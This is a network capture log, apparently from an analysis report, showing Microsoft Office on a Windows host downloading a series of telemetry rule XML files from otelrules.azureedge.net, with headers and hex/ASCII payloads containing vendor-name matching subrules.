2024-12-03 16:41:41 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:41 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ef6998ca-401e-0067-5ac5-4309c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164141Z-174f7845968vqt9xhC1EWRgten000000168000000000chy2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:41 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.7	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:42 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 18a648ed-001e-0049-1ef9-445bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164142Z-174f7845968n2hr8hC1EWR9cag00000015r000000000wdwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:42 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:43 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 657660fb-a01e-00ab-52ac-439106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164143Z-174f7845968swgbqhC1EWRmnb400000016eg000000001932 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:43 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:42 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:43 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 48855d02-a01e-0053-3f66-408603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164143Z-174f7845968pf68xhC1EWRr4h800000016ag00000000uk7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:43 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:43 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:43 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8aad1780-e01e-0020-7ed6-43de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164143Z-174f7845968swgbqhC1EWRmnb4000000169000000000q0zu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:43 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:43 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:43 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e8c8f6d8-301e-0052-3262-4365d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164143Z-174f7845968qj8jrhC1EWRh41s000000164000000000k2rb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:45 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 97ca64ed-201e-000c-5e6e-4379c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164145Z-174f7845968kdththC1EWRzvxn0000000kng0000000024bc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:45 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:45 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9135d871-d01e-00a1-3102-4535b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164145Z-174f7845968xlwnmhC1EWR0sv800000015xg00000000tg0t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:45 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:45 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164145Z-174f7845968kvnqxhC1EWRmf3g0000000sw000000000w8cy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:45 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 4f55dbf3-401e-005b-2250-439c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164145Z-174f7845968j6t2phC1EWRcfe8000000168g00000000t3nr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:45 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:46 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 357a15c2-f01e-001f-47c7-435dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164146Z-174f7845968glpgnhC1EWR7uec00000016ag00000000k13r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:46 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:47 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:47 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:47 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb9ca025-001e-00ad-031e-45554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164147Z-174f7845968n2hr8hC1EWR9cag00000015wg000000007mfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:47 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:47 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
